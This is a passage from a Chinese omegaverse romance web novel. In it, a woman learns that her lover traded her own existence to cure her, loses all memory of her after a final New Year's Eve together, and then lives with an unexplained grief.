长了一张青涩单纯的脸,睡着的时候也很乖,谁能想到昨晚坏成那样,一次又一次地弄她,什么混账话都说得出口,还换了很多羞人的花样,舒服归舒服,累也是真的累。 程卿言感觉她这会儿处处都是酸的,alpha太缠人,和以前完全不一样,热烈主动,而且还哭了。 视线定在了女生红着的眼尾上,有些心疼,觉得女生是因为对她有了一种“失而复得”的欣喜,情绪起伏才如此大。 好在一切都过去了,她已经没事了。 “程卿言……” 姜映在睡梦中呢喃了一句,声音很小,卧室太安静,她听得很清楚,女生在叫了她之后,眼尾又流出泪水。 做什么噩梦了,还没从前几日的痛苦中缓过来吗,程卿言心疼地吻了吻她的眼尾,出声道:“姜映,醒醒。” 姜映猛得睁开眼,呼吸有些急,紧紧抱住女人的手在颤动。 程卿言抚了抚她的背,温柔道:“做噩梦了?” 姜映摇头,深呼一口气:“不是噩梦。” 她梦见她离开了,女人遗忘了她,女人遇见了心动的alpha,那位alpha很活泼健谈,和女人的年纪家世也差不多,女人温柔地唤着alpha阿裕。 如她期待的那样,女人过得很幸福。 不是噩梦。 是个很美好的梦,只是梦里没有她。 程卿言好奇:“那你梦见什…嗯…” 话没说完,alpha吻住了她,热情未减,反而比昨晚更加汹涌。 昨夜洗了澡之后两人都没穿衣服,这会儿很方面,肌肤相贴,很快有了感觉。 “别急。”程卿言颤着眼睫道。 姜映应了声好,慢了一会儿,很快又很快。 一抹暖阳从没有完全拉紧的窗帘外透了进来,正好落在她眉梢上,眼眸里的泪光染了金色,不断颤动着。 程卿言紧紧抱住她,断断续续问道:“哭什么……” 姜映给女人翻了身,不想让女人看见她的眼泪,她吻她的耳畔:“姐姐。” “嗯……” “你喜欢什么样的alpha?” “你是不是喜欢活泼一点的?” “还是年纪大些的?” “我是不是太闷了。” 像是吃醋一般,女生问的时候故意停了下来。 程卿言受不了:…… 能不能好好做,问的都是些什么问题,她喜欢什么样的,坏家伙难道不清楚吗,她除了她,还能喜欢谁。 总不能因为她昨晚踹了她一脚,就觉得她对她不满,以为她想找别的alpha了吧。 不上不下,折磨得她有点难受,她咬着唇道。 “闭嘴…以后不踹你…你想怎么样就怎么样……” 光影倾斜,从alpha的眉眼移在线条分明的下巴处,汗水划过,她在女人耳畔说着我爱你,我属于你,一次又一次属于。 既是在占有,明明知道留不下任何痕迹,还是一遍遍的吻着。 又是在给予,用尽全力给女人最后的快乐,她能给她的快乐。 …… 程卿言再一次醒来时,已经下午一点。 谁能想到,从昨晚下午开始,直到现在,除了睡觉,她们一直在折腾,没有离开过卧室。 卧室里恒温恒湿,被子掉了一半在地上,没有好好盖着,睁开眼alpha的脸出现在她眼前,这坏东西又比她醒得晚。 是不是说明恢复健康后,她的精力比女生好,只不过她年纪比女生大些,平时也不爱锻炼,体力比不上女生而已。 程卿言嘴角上扬,还没笑出声,视线落在了女生的脖子上,以及锁骨那块儿地方,眸光一凝,神色瞬间变得严肃起来。 吻痕和抓痕很明显。 亲密时她给女生留下的,这并不奇怪。 奇怪的是这些痕迹为什么没有消失,颜色也没有变淡。 姜映的愈合能力很强,稻村受了那么重的伤,十天之内就完全恢复了,这种亲密时留下的不痛不痒的痕迹,一般半个小时左右就会愈合消失。 程卿言之前还抱怨过自己一身吻痕,女生身上什么都没有,她对此颇有怨言。 不对劲儿,她们在十二点出头就停下休息了,已经过了一个小时了,为什么姜映身上的痕迹没有消? 她坐起来,又检查了昨晚她在女生身上留下的抓痕,都在,全部都在。 姜映的愈合能力为什么会消失? 女生此刻醒得比她晚,可能也不是她精力比她好,而是女生的精力没有从前好了,恢复到正常人的水平。 为什么? 程卿言眉心拧了起来,沉下心,察觉到了很多不对劲儿。 昨晚女生那么主动热情,还哭了好几次,一直叫她的名字,她以为是她的腺体恢复了健康,女生这些反应都是“失而复得”欣喜的表现,所以才会有些反常。 但事实应该不是她想的这样。 昨天上午在研究所,她说她腺体恢复时,其她人的反应都很激动,又哭又笑,不敢相信这是真的。 大家觉得不是出现了幻觉,就是在做梦,会反复确认她是不是真的康复了。 她细细回想着,只有姜映是淡定的。 姜映一直守着她,因此女生是第一个知晓她恢复的人,她醒来就告诉她了,可女生的反应并不激动,只是开心地对她笑了笑,像是提前知道她会康复一般。 提前知道。 程卿言伸手按了按腺体,她的腺体是突然恢复的,孙影和邹全解释不出原因,都说是奇迹。 到底是奇迹还是人为? 程卿言深呼一口气,想到一种可能,女生不属于这个世界,来自别的地方,身上有很多特殊的,无法用科学解释的现象,会不会是女生救了她。 结合姜映昨晚亲密时的反应,以及身体愈合能力的消失,她觉得她的猜想是正确的。 那姜映为了救她,会付出什么? 健康?生命?或是其它重要的东西? 程卿言心跳骤然加速,心里很不安,出声叫醒了还在睡觉的人。 听见女人的声音,姜映缓缓睁开眼,刚醒还有些迷糊,睡眼惺忪。 但瞧见女人的沉如墨的脸色时,心里咯噔了一下,瞬间清醒:“怎么了?” 程卿言没有弯弯绕绕,直接道:“我的腺体能恢复,是因为你对吗?” 姜映愣了几秒,抿了抿嘴唇,有些突然,得想一想如何回答。 程卿言严肃:“别骗我。” 姜映深呼一口气,无法对她说谎,几息后嗯了一声。 果然如此。 程卿言道:“代价是什么?” 姜映并不想让她知道,知道了只会难受,低声道:“可以不说吗?” “为什么不说?” “不说会好一些。” 程卿言静静看了她一会儿,一言不发。 姜映有些心慌,握着她的手:“你放心,我没付出什么代价,不会有事的。” 放下,她要如何放心。 程卿言看着她的眼睛,语气有些冷:“在你心里我是什么?你把我当什么了,易碎的陶瓷吗,我是成年人,无论事情是好是坏,我都有权知道,我可以面对。” 她不需要别人帮她做决定,即使是最亲密的人也不行,是好是坏由她自己评判的。 就像她觉得自己快要不行时,她也没有隐瞒姜映,她选择告诉了她。 姜映紧了紧手,喉咙发干,不知如何开口。 女人是如何察觉到不对的,因为她昨晚没控制住情绪,过于反常的举动? 她并没有把女人当易碎品,知晓她很坚强,她只是觉得善意的隐瞒比说出真相要更好一些。 将真相说出来,也无法改变既定的结果,只会让女人难受。 她不想说,可是因为她的疏忽,女人已经察觉到不对,情绪已经被影响了,她也瞒不下去。 程卿言:“还不肯说?” “我说……” 姜映不太敢直视女人的眼睛,声音有些低:“我从前在别的世界做任务时积累了很多积分,可以兑换愿望。” 程卿言懂了:“所以你用来换取了我的健康。” 姜映点头:“嗯。” 用积分兑换的愿望,等同于交易,女生好像确实不会付出代价,但若真是如此,女生昨夜就不会那么反常,愈合能力也不该消失才对,一定还有她不知道的事。 程卿言抬起她的下巴,让她看着自己:“你没有说完,继续,使用了积分之后,你会如何?” 姜映深呼一口气,难受道:“用了积分,我会被时空局发现,我会消失,我在这个世界上留下的痕迹都会被抹除。” “就像从来没出现过,所以人都会遗忘我……” 她的声音低沉而悲伤,轻轻飘地落于耳畔,却掀起了重重的浪。 程卿言像是没听懂她在说什么,眼眸猛得颤了颤,愣住了。 从来没出现过? 遗忘? 抹除? 字字皆懂,却又字字陌生。 好陌生的词。 程卿言笑了一声,红了眼眸:“你是说我会忘掉你?” 姜映低垂着头:“对。” 程卿言眼泪滑落,问:“那你是希望我忘掉你,还是不希望我忘掉?” 姜映痛苦但又清醒,指尖颤动,嗓子沙哑:“忘掉。” 程卿言心酸,眼眶湿漉,冷笑一声。 姜映心口一颤,抬眸瞧见女人在流泪,又急又担忧,连忙给她擦眼泪,“姐姐我……” 程卿言甩开她的手,呼吸急促,有些崩溃:“你别碰我!” 她在得知自己信息素紊乱无药可医时没有哭,在腺体疼得不行时也没有哭,在自己的时间所剩无几时还是没哭。 可是此刻,眼泪止不住地往外溢出,无声悲伤,无法接受姜映所说的一切。 “如果我没察觉,你就打算一直瞒着,不告诉我,直到你离开对吗?” 姜映哽咽着:“对不起……” 程卿言流着泪,愤怒道:“混蛋,谁要你的道歉!姜映你这个混蛋…你怎么能这样对我……” 一旦离开,所有与姜映有关的痕迹都会被抹除,她不会记得她爱过她,也不会知道有人为了她愿意付出一切。 姜映见不得她哭,心口如同针扎一般泛起了疼,她抱着女人,吻掉她的眼睫,声音颤抖道:“对不起姐姐,忘掉就不会痛苦了……” “放开,别碰我。”程卿言用力挣扎,眼眸通红。 姜映也流了泪,将她抱得更紧,倔强:“不放。” 程卿言一口咬在她的肩膀上,用了气,片刻后尝到了血腥味才松嘴,脸埋在女生的颈窝,无声哭泣,肩膀颤动。 不知过了多久,直到情绪平复了,哭声止住,抬头,红着眼看着女生,问道:“还有多少时间?” 姜映:“不清楚,可能只有几天。” 几天。 几天是多少天,两天也算几天,九天也算几天,其中相差了整整一个周。 程卿言深呼一口气,缄默几息,去了浴室洗了冷水脸,让自己静一静,出来后沉默地牵着女生的手去了客厅,找出了医药箱,打算给女生肩上渗血的牙印消毒。 姜映轻轻拉住她的手腕,柔情地看着她的眼眸:“不用处理,我想留着。” 程卿言瞬间懂了她的意思,移开眼,又想流泪。 女生走后,什么都不能给她留下,气息,味道,温度,回忆,所有与女生有关的东西将荡然无存。 但女生要带走她留下的痕迹。 她无法记住对方,对方却会记住她。 可是这些痕迹终有一日会愈合,痕迹消失后,女生还会记住她,又会记她多久。 是不是终有一日,都会遗忘,没人记得她们相爱过。 程卿言内心苍凉,伸手摸了摸女生的脸:“你知道吗,我很喜欢你。” 姜映鼻尖发酸:“我知道。” 程卿言说:“我不想忘记你。” “对不起。”姜映抱着她。 程卿言的情绪已经稳定了,没有挣扎,脸颊留恋地蹭着女生的脖子,眼泪又流了出来,从眼尾缓缓滑落至下巴,脖子,肩膀。 姜映沿着泪痕,怜惜地吻掉她的眼泪,吻到腺体边沿时,女人轻轻颤了颤,按住她的后脑勺道:“再咬咬。” 她记不住女生,可她希望她的腺体能记住,记住女生信息素的味道,永远不要忘记女生的青竹味。 alpha的标记牙咬住颤动的腺体,信息素注入,浓郁的青竹香和樱桃味交织在一起,密不可分。 程卿言溺在这片青竹中,眼尾泛着红,她颤声道:“姜映。” 姜映:“我在。” 程卿言问她:“我的信息素是什么味道?” “樱桃。”姜映吻她。 程卿言:“你能闻见吗?” 姜映:“不能。” 程卿言接受不了,哽咽着:“为什么闻不见我的信息素,你得闻见,你记住,你不能忘……” 不能忘记,她忘记对方,对方也不能忘记她。 可是女生闻不见,即使相爱,即将要离开,也不可能知道她的信息素尝起来是什么味道。 永远也不会知道。 * 将近一天没吃东西,叫了餐厅送餐,熟悉的饭菜,都是双方以往喜欢吃的味道。 已经能感觉到饿了,但是没有胃口,吃了几口就不想再吃了。 程卿言放下碗筷,她已经调整好了心态,女生能陪她的时间已经不多了,分分秒秒都很宝贵,她不能浪费,不能用于争吵。 在对方离开前,她留给她的回忆,应该是美好的。 程卿言放下碗筷,问道:“你饱了没?” 姜映点头:“差不多了。” “那我们出门。” “去哪?” “到了你就知道了。” 程卿言牵着女生回了衣帽间,换好衣服后出门,离开了月泊林,这次没叫秦助理,她亲自开车。 姜映之前没见过她开车,坐在副驾驶,侧眸看着女人。 程卿言问她:“紧张吗?” 姜映眨眼:“嗯?” 程卿言说:“第一次坐我开的车,紧张吗?” 姜映如实说:“不紧张。” 程卿言笑了一下,她很少开车,车技其实一般,余简予不敢坐她开的车,小姑娘胆子大,倒是很放心她。 她有安全意识和自知之明,不会随意超车,车速慢,也不会跑到快车道去,开得很稳当,安全的抵达了目的地。 月泊林附近有一座小山,名为秋云山,前些年就有资本对其开发过了,是比较成熟的景区,环境很好。 山顶有会所,有酒店,很适合看夜景和日出,由于价格高昂,普通人一般不会去,有钱人又有很多更好的选择,因此游客比较少。 离家比较近,又安静,程卿言前两年的除夕夜不想回程家老宅,都会去上面过一晚。 这几日天气好,下午五点出头到了山顶,正好能赶上日落。 程卿言是会员,办理后入住,带着姜映去了景观最好的套房。 露台宽阔,居高临下,落日余晖映入眼帘。 独属于碚城的晚霞。 太阳落下,夜幕降临,星星点点的灯光亮起。 姜映颤了颤眼睫:“我从来没在这种视角下看过碚城,真美。” 程卿言从身后抱着她,心跳贴着女生的背脊,在女生耳边柔柔道:“我们可以看一整晚。” 姜映侧头:“一整晚不睡吗?” 程卿言:“今夜是除夕,要守岁。” “也对,”姜映在女人脸颊上吻了一下,“你以前会守岁?” 程卿言摇头:“不会,我一般凌晨就会睡,你呢,你以前会守一整夜吗?” 姜映:“我也不会,我困了就睡。” 都没有守岁习惯的两人,在今夜却默契地想要守岁,是何原因,心里都很清楚。 但没有人说出来,不想再最后这段未知的时间里提伤心事,都很珍惜她们能在一起的时光。 程卿言说:“碚城今夜会有表演吗?” “不知道,我查一下。”姜映拿出手机翻了翻碚城的官方账号,片刻后道,“没有诶。” 去年有灯光秀,前年有烟火秀,此处是很好的观赏位子,因此前两年程卿言才会选择来这里,今年什么都没有,眼眸里闪过些遗憾。 不是为景色而遗憾,而是…… 姜映转身,抱着女人的腰:“就这样也很好,能和你一起看夜景。” 程卿言轻轻笑了一下,嗯了一声。 露台的风有些大,入了夜山上的气温低,即使穿得厚,也有些冷。 离开了风口,打开烤火设备,一起挤着坐在了不算宽敞的单人沙发,旁边有幕布,姜映问:“要找个电影来看吗?” 程卿言想了想:“不用了。” 如果放难看的电影,她们看不进去,放好看的电影,一旦看进去,转瞬间几个小时就会过去,她和姜映此生中唯一能够一起度过的除夕夜,她不想过得那么快。 慢一点,再慢一点,想将一夜过成一辈子。 之后她会遗忘她,不记得她生命中短暂地出现了一个小姑娘,她如此喜欢这个人。 即使忘记,她觉得她未来也不会爱上任何人。 她与爱情有关的一切会随之姜映一起离开这个世界。 没有放电影,放起了纯音乐。 聊着以前的事,姜映的生活比较枯燥,小时后不是学习就是学习,程卿言的童年也和有趣无关,研究所那段日子是苍白的,回了老宅后,程老太太又对她管教得很严,也没什么趣事,每日按部就班地生活。 这样的日常,本是无趣,也没有什么好听的,但从心悦之人嘴里讲出来,却莫名有趣。 程卿言说:“你小时候真可爱。” “你也很可爱。”姜映含笑看着她。 无聊又有趣,一聊就是好几个小时,已经过了凌晨,将近半夜两点。 明明一直在说话,程卿言不知道她是怎么睡着的,或许是她太困了,或许是音乐太催眠。 她想睡,但潜意识不让她睡,眼睫阖上不到五分钟,猛得睁开了眼,额头上吓出了汗,侧头瞧见女生还在,女生的手也被她握着,过速的心跳才慢了了下去。 姜映给她擦了擦汗,吻了吻她的额头,安抚道:“没事的,我不会走的,还有日出,你要不要再睡会儿,日出的时候我叫你。” 程卿言有些后怕,不敢再睡了,她怕她闭上眼睛再睁开时,对方就离开了。 “现在几点了?” 姜映看了眼壁钟:“三点零五分。” 日出在七点半左右,还有五个多小时,程卿言呼口气道:“你给我讲讲故事吧。” 姜映眨眼:“你想听什么?” 女生小时候的事情已经说完了,程卿言说:“就讲一讲你从前做的那些任务吧。” 姜映做的任务太多,数不胜数,一个接着一个,慢慢讲给女人听,五个小时很快就过去。 天际由黑变成墨蓝,慢慢染上一层金色,清晨的第一缕阳光来临。 晨光熹微,太阳缓缓升起。 日出。 希望。 程卿言眉梢上扬,牵着女生走到护栏边看了一会儿,侧眸瞧着落在女生眉眼上的暖阳,想将这一幕拍下来。 无论未来记不记得,她都想将这一瞬记录下来。 程卿言在女生唇上吻了一下:“ 我回客厅拿手机。” 姜映说:“要不我去?” 程卿言:“不用了,等我一会儿就行。” 姜映笑着应了声好。 程卿言回了客厅,在沙发上找到了手机,又从手提包里拿出了女生亲手做的那枚戒指。 那日的表白因为误会没有完成,她想重新来一次,让对方给她戴上戒指。 她属于她。 拿起来往露台走,不想姜映久等,程卿言步伐比较快。 等到了日出,她心情还不错,嘴角轻轻扬着。 走着走着,程卿言的步伐慢了下来,走回空无一人的露台,她看着远空的暖阳愣了几秒。 伸手摸了摸嘴角笑容。 神情有些疑惑。 不就是普通的日出吗,她为什么感觉她刚才特别开心。 在开心什么? 程卿言不知道,倚着围栏安静地站着。 清晨的风很凉,温柔拂过她的脸颊,又吹向山间的竹林。 竹叶沙沙作响。 像是在说早安。 第90章 爱人 爱人 第九十章 滋滋滋电流声频繁响动。 机器声时不时响起,很多串编号一般的数字在空中运转,编号1020的档案出现变动,所有积分清零。 核实,逃离,确认,召回。 姜映上一瞬还在山顶会所的露台上等着,下一瞬眼前一黑,意识消失,进入了一片虚无漂浮的识海。 识海没有人,只有无数串编号在穿行着,她也变成了一串名为1020的编号。 编号:1020 姓名:苏裕 出生地点:东城 配偶:程卿言 死亡原因:雪山缺氧失温 工作日志里缺失的信息也在这时全都回到了脑子里,姜映想起来了,记起来她在来时空局之前是谁,为什么要做任务,又为什么要逃离时空局。 她叫苏裕,出生于东城,苏氏集团二小姐,家庭和睦,姐姐苏敛懿继承家业,她自由自在被宠着长大。 十六岁那年苏家为了企业未来的发展,举家搬到了碚城,她也因此转学到了碚城,在新学校遇见了同为十六岁程卿言。 好奇,心动,追求,在十八岁那年确定和程卿言恋爱关系,二十五结婚,三十岁那年程卿言因信息素紊乱症离开人世。 次年,她也永远留在了雪山上,来到了时空任务局。 进入时空任务局的随机的,她不清楚她为何进入,只要去不同世界协助主角团成长,完成任务,就能获得积分,积分足够,她便能兑换愿望复活自己,重新回到属于她的世界。 复活。 世界的时间是往前的,复活的时间点不能自行选择,宿主也不能进入原世界做任务。 因为程卿言的离世,她本就没有求生的意愿,即使兑换愿望复活,回到的也是没有程卿言的时间,复活对她而言没有任何意义。 所以她不能从正常途径回去,她不断做任务积累积分,在积分足够时,破坏规则逃离了时空局,回到了属于她的世界。 因为是违规行为,出现在原世界,所以她没有从前的记忆,身上也出现了那么多科学无法解释的异常。 程卿言不是世界女主,不会有任务者去救她,即使忘记,她的潜意识也要让她靠近她,爱上她,救她。 即使重来,忘掉一切,也忘不掉爱她的本能。 程卿言是她的全世界,是独属于她的女主,而她也确实救了她。 姜映最大的愿望就是程卿言能够活下去。 愿望实现,她该对此感到满足了,至于她之后会面临什么,她并不在意。 程卿言,她的爱人,在出生前就被注定的命运,已经改变,能活下去了。 真好。 * 滋滋滋的电流声忽然响了起来。 啪嗒一声响,壁灯开始闪烁。 程卿言坐在沙发上,正在处理工作,听见响动,抬眸看了一眼。 电路接触不灵? 她给物业管家打了电话,维修师傅很快就来了,检查了线路,线路没出现问题,可能是灯出现了故障,换了一盏新的,电流声就消失了。 客厅重新恢复了安…… 也不算安静,拉面丸子呜呜呜叫了几声,咬着球跑过来,想让她陪它们玩了。 程卿言这会儿有点忙,得先处理工作邮件,摸了摸它们的头:“我得先工作,你们去找……” 话音顿住,她愣了几秒,眉心轻轻颤了颤,她刚刚想说什么,想让拉面丸子去找谁玩? 家里只有她一个人,还能找谁,住在隔壁的阿姨吗。 程卿言静了几息,轻轻呼了一口气。 应该是工作太忙,累着了,脑子不太清楚。 快速处理好工作,陪着拉面丸子玩了十来分钟,便回卧室洗漱睡觉了。 春节休息了七天,七天假期已过,已经进入了工作状态好几天了,除了科技园的项目要继续跟进,其它新的项目也开始进行,因此近期会比较忙。 好在她的腺体已经恢复了,即使天天加班,也吃得消。 程卿言也喜欢这种繁忙的工作节奏,忙起来时间就过得很快,也就不会觉得空虚了。 对的。 空虚。 她除夕夜去了秋云山看夜景,和前两年一样,独自在会所住了一晚,早上看完日出才回来。 离家的距离太近,都不能算旅行,一趟普通的出门。 但回来之后她莫名觉得很空虚,她形容不出那种感觉,像身体里缺了点东西,感觉有点难受。 孙影得知后,紧张起来,她的腺体恢复得很突然,特效药对她无效,她已经快不行了,睡一觉起来突然就恢复。 孙影以为她身体又出现了毛病,随即让她去研究所做了检查,报告显示她一切良好。 余简予也知道了她的状况,说她是单身太久寂寞了,该试着去谈一场恋爱了。 恋爱? 开什么玩笑,她腺体虽然恢复了,但并不代表她就不讨厌和alpha发生亲密接触,她不可能爱上任何alpha。 不是身体原因,也不是因为寂寞,那是为什么? 她的空虚从何而来? 程卿言不知道,躺在床上睡不着,拿起手机翻了翻,点进了相册看了几眼,停在了大年初一早晨,在秋云山顶拍的一张竹林照片上。 当时太阳刚升起,柔和的阳光照耀在竹叶间,清晨的凉风刚好拂过,竹叶沙沙作响那瞬,她心口微微颤了颤,拍下了这张照片。 她自幼就喜欢与竹子有关的一切,爱吃最嫩的炒竹笋,爱闻静心凝神的青竹香氛,爱看苍绿的竹林。 此刻瞧着这张照片,她内心的空虚仿佛也得到了一点点安抚,让她感觉不那么难受了。 程卿言呼了口气,静静看了一会儿,将照片设置成了屏幕,闭上眼睛酝酿睡意。 翌日。 上班前,她先去了一趟研究所,再一次对突然恢复健康的腺体做了检查,没有任何问题,孙影送她下楼,走到小院子时她忽然停住了脚步。 孙影问道:“怎么了?” 程卿言想了想:“年前是不是下了一场雪?” “对啊。” 孙影点头,下雪那日正好是程卿言突然康复的前一天,她记得很清楚,但是她没心思赏雪,程卿言那日的状况比较糟糕,在疼醒和昏睡中反复折腾。 程卿言:“那天有人下楼堆雪人吗?” 孙影摇头:“没有。” 程卿言有些疑惑,指了指银杏树旁的位子:“这里,我好像记得这里有雪人,一大一小并排着。” 孙影肯定道:“研究所又没有小孩,大家都很忙,谁会下楼堆雪人,你可能是当时疼得太厉害,出现幻觉了,不然就是在做梦。” 幻觉吗? 程卿言颤了颤眼睫,她的大脑当时确实不太清楚,可能真的是幻觉,嗯了一声,没有过多纠结,和孙影道别后,坐车去了程氏大楼。 在车上她也没闲着,闲着心里就会不太舒服,得主动找点事情做,处理了会儿工作,她放下文件,问道:“何助有和你联系?” 秦助理开着车:“没有,不过我主动联系她了,周一我给她打了一通电话,想在这周末去看看她,她拒绝了。” 何助在上个周就出院了,出院后没有留在碚城,回了老家。 之前泄密的事情已经彻底清楚了,属于上一辈人的恩怨,何助对此并不知情,而且也算是受害者,文件也不是她泄露出去的。 程卿言希望她调整好状态后,能够重新回到公司,她也向何助表达了自己的想法,但何助拒绝了。 她也不会勉强她,愿意回来时再回来,不愿意就算了,她尊重她的意愿。 程卿言问:“她的状态好些了吗?” “变化不大,但是没有轻生的想法了。”秦助理回复道。 程卿言放心了很多:“你多关心关心她。” 她打电话何助不会接,何助只接秦助理的电话。 秦助理应了声好,即使程卿言不说,她也会关心何助,片刻后她道:“昨晚苏总主动给我打了电话,也问了何助的情况,我如实说了。” 程卿言知晓苏敛懿之前对何助有点兴趣,但她们之间具体发生了什么,她并不知道,属于私事,她没有过问。 感情的事最是麻烦,还好她单身,没有喜欢的人,吃不到爱情的苦。 半个小时后,车开进停车场。 程卿言上楼,去了会议室,连续开了两次会,临近中午才回了办公室,余简予困得很,喝着咖啡提神,瞧着又开始工作的女人,她道:“你不累吗?” 程卿言挑眉:“不累。” 她已经康复了,她的精力恢复了正常,状态很好。 余简予瘫在沙发上,放下杯子,关心道:“你还空虚吗?” 程卿言点头:“当然。” 余简予笑了一声:“我说真的,你真不考虑找个alpha?” 程卿言抬眸,瞥了她一眼:“如果你能找到让我满意的,我可以考虑。” 余简予来了精神:“你到底喜欢什么样的嘛,你形容形容。” 世界上这么多人,总有一个符合对方标准的吧。 程卿言随口说:“和我眼缘,能让我爱上的。” 余简予:…… 说了等于没说,看来这辈子她是瞧不见对方谈恋爱。 “对了,忘了告诉你了,我可能要谈恋爱了。” 程卿言嗯了一声,翻着文件:“恭喜你。” 余简予不乐意:“你怎么一点也不惊讶?” 程卿言:“你谈恋爱又不奇怪,这又不是你第一次谈。” “这次不一样。” “哪不一样?” 余简予笑着从沙发上爬起来,走到她跟前:“她很有趣,和我聊得来,长相也是我喜欢的类型,而且很青春活力,女大。” 程卿言抬眸,挑了挑眉梢:“女大学生?” 余简予点头:“对。” 程卿言上下打量她几眼。 余简予:“你这是什么眼神啊?” 程卿言啧了一声:“还在读书的大学生比你小这么多,你怎么好意思下手,老牛吃嫩草。” 余简予:…… “没有小多少,只小了九岁,她还有几个月就大学毕业了,再说了我也不老啊,我和你一样大,难道你觉得自己很老吗?” 程卿言挑眉:“我没觉得自己老。” 余简予不服:“那你怎么能说我老牛吃嫩草!” “我又不可能去谈女大,”程卿言看着她,“你不觉得年纪差这么多,沟通起来会有代沟吗?” 余简予:“也还好吧,我好像也不怎么成熟。” 自我认识倒是很清晰,程卿言也不打趣她了,问道:“你们是怎么认识的?” 余简予说:“初一晚上我没事情做,就去了一家新开业的酒吧玩了玩,里面人不多,她恰好坐我旁边,随便聊了几句,就来了点感觉。” 程卿言:“然后你们?” 余简予道:“当然没乱来,我不是那种人,一起喝了点酒,加了联系方式,这几日一直在聊天。” 一边说着,一边拿出手机,找了张照片出来,递到对方眼前。 “就是她。” 程卿言看了一眼,眸光轻轻凝了凝,拿起手机认真看着照片,片刻后问道:“她叫什么名字?” “周青月,”余简予见她的表情有点严肃,“怎么了?” 程卿言摇头:“没什么,就是觉得有点眼熟,有种似曾相识的感觉。” 似曾相识? 很难听见程卿言说这种话。 余简予连忙道:“这是我喜欢的,你可不能看上。” 程卿言看她一眼:“放心,不和你抢,我对谈恋爱没兴趣。” 余简予也是在开玩笑,哈哈哈笑了几声:“我说真的,年轻人真的很有意思,反正你现在也很空虚,就找个年轻人谈谈恋爱呗。” 程卿言笑,下巴指了指照片:“那我和她谈行吗?” 余简予很宝贝地收起手机,切了一声:“你还是单着吧。” 程卿言呵了一声:“你很小气。” 余简予纠结几息,心一横,直接道:“你要是真喜欢她,那我退出,我不追求她了,你去。” 她目前也只是对周青月有好感,还没有爱上,陷得不深。 程卿言:…… 思忖片刻,认真道:“我这种空虚和你想的不一样,我不是感觉寂寞想谈恋爱了,而是身体里好像少了点什么,就像心口缺了一块肉。” 不疼,但会让她很难受,时常有种想流泪的感觉。 余简予也认真起来,知道她去检查过,身体没有问题,但是找不到原因,一直难受着也不是回事,建议道:“要不你看看心理医生?” 程卿言说:“如果好不了,我会考虑的。” 余简予点头,聊了一会儿,瞥了眼时间,准备回办公室了,离开前道:“我下午想早点离开公司,你能不能帮我处理一下手里的工作?” 程卿言问:“你有事?” 余简予笑:“想去约会。” “不务正业,”程卿言点评,接着道,“你去吧,工作交给我。” 余简予十分感激:“程卿言你怎么这么好,我都快爱上你了。” 程卿言受不了:“快走吧,不然我就反悔了。” 对方离开后,办公室安静下来,她静了几秒,眸光落在了桌面放着的青竹摆件上,材质是陶瓷,指腹轻轻抚了抚,触感细腻但很冰凉。 片刻后她呼了一口气,空虚又涌上心头,瞧着摆件,莫名有些伤感。 她得工作,不能闲下来,忙起来就不会觉得难受了。 接下来几日,程卿言这种状态不仅没有得到改善,反而越来越严重,无尽的空虚像是要将她吞噬一般,尤其是晚上躺在床上时,只要空闲下来,这种感觉就会加重,夜不能寐。 本来睡眠就不好,她已经有点恐惧夜晚了。 程卿言觉得自己可能真的是心理出了问题。 周六上午,她没有去公司加班,特意将时间空了出来,预约了心理医生,聊了几个小时,最后的诊断结果有些让她意外。 轻度抑郁。 她,抑郁? 这个词怎么和她扯上关系的? 从前那么难熬的日子她挺也过来了,现在信息素紊乱症也好了,公司的各个项目进展都很顺利,程老太太也放权给了她,不再过问公司的事情,程氏现在就是她做主。 事业顺利,生活顺心 她也热爱生活,会享受生活,兴趣众多。 程卿言想不明白她为什么会抑郁。 余简予陪她一起去看的医生,结束后又和她一起回月泊林,她道:“要不下个周不工作了,我陪你去旅游散散心怎么样?” 程卿言:“你不是要谈恋爱吗?” 余简予开着车:“还没谈上呢,谈不谈都没事,你原来不是说过想去雪山吗,要不去一趟?” 爬雪山,程卿言从前确实有这个想法,但因为身体的缘故,不能去海拔高的地方,也不能剧烈运动,不然会影响腺体的问题。 现在身体好了,可以去了。 程卿言呼了口气:“算了,最近不想去,你别担心我,我只是轻度的,并不严重,说不准过几日就恢复了。” 余简予点头:“那好吧。” 她也想不明白对方那么热爱生活,积极向上的人,近期也没有发生啥事,一切都很顺利,为什么突然这样了。 难不成是中邪了,如果没有好转,她准备去庙里给对方求张符驱驱邪。 车开进月泊林,停在了院子里。 正要进屋时,程卿言脚步顿了顿,偏头道:“你有没有听见什么声音?” 余简予认真听了听:“好像有猫叫声,你养猫了?” “没有。” 程卿言寻找声音找了一会儿,最终在后院的柚子树下瞧见了一只长毛橘猫。 体型很大,远看像小狗,有些瘦,因为毛发长,此刻瞧着凌乱又潦草,但也能瞧出来这只猫长得很好看。 余简予:“流浪猫?” “可能是吧。”程卿言蹲下,想摸摸它。 余简予哎了一声,赶忙道:“你别乱碰它,它看起来挺凶的,小心被……” “抓”字没说出口,咽了回去,因为她瞧见这只猫主动而温顺地用头蹭了程卿言的掌心,并且还翻了肚子。 程卿言给橘猫检查了外表,除了有点瘦,没有受伤。 看起来像流浪猫,但也不确定,拍了照发给了月泊林的物业管家。 物业处理事情的速度较快,二十分钟后给了回复,告诉她没有业主丢猫,应该是别的地方跑来的流浪猫,并询问她需不需要帮忙处理,给这只猫找领养。 程卿言回复:【不用了,我收养它】 这猫很黏程卿言,余简予蹲下去逗了逗,猫虽然不挠她,但对她并不热情,很高冷。 余简予挫败:“你怎么能这样双标,我也是好人呀。” 猫不理她,尾巴翘得高高的,对着程卿言喵喵叫。 余简予见状,吐槽:“心机小猫,进入豪门的手段了得。” 程卿言扬唇:“你这是嫉妒。” 余简予哼了一声,问道:“你真要养它?” 程卿言点头,眼眸含笑看着撒娇的猫:“要养,感觉和它挺有缘分的。” 家里已经有两条狗,再养只猫正好合适。 “那你给她取个名字呗,”余简予又开始试着逗猫,“叫啥好呢,你的小狗叫拉面丸子,猫叫蟹排?毛肚?土豆?粉条?” 程卿言安静片刻,缓缓道:“叫柚柚。” 柚子树下发现的猫,取名柚柚。 * 家里多了一只猫,生活没有任何变化。 程卿言原本有点担心柚柚和拉面丸子可能会处不好,要闹矛盾,出乎意料的是,三小只相处得很好,拉面丸子这两条傻狗一直围着柚柚转,争风吃醋,柚柚雨露均沾,一会儿陪陪拉面,一会儿陪陪丸子。 但柚柚是一只性格高冷的猫,需要私猫空间,觉得傻狗太缠猫了,便一跃跳到高处,趴下睡觉了。 拉面丸子上不去,眼巴巴蹲在地上看着,呜呜呜地叫了几声。 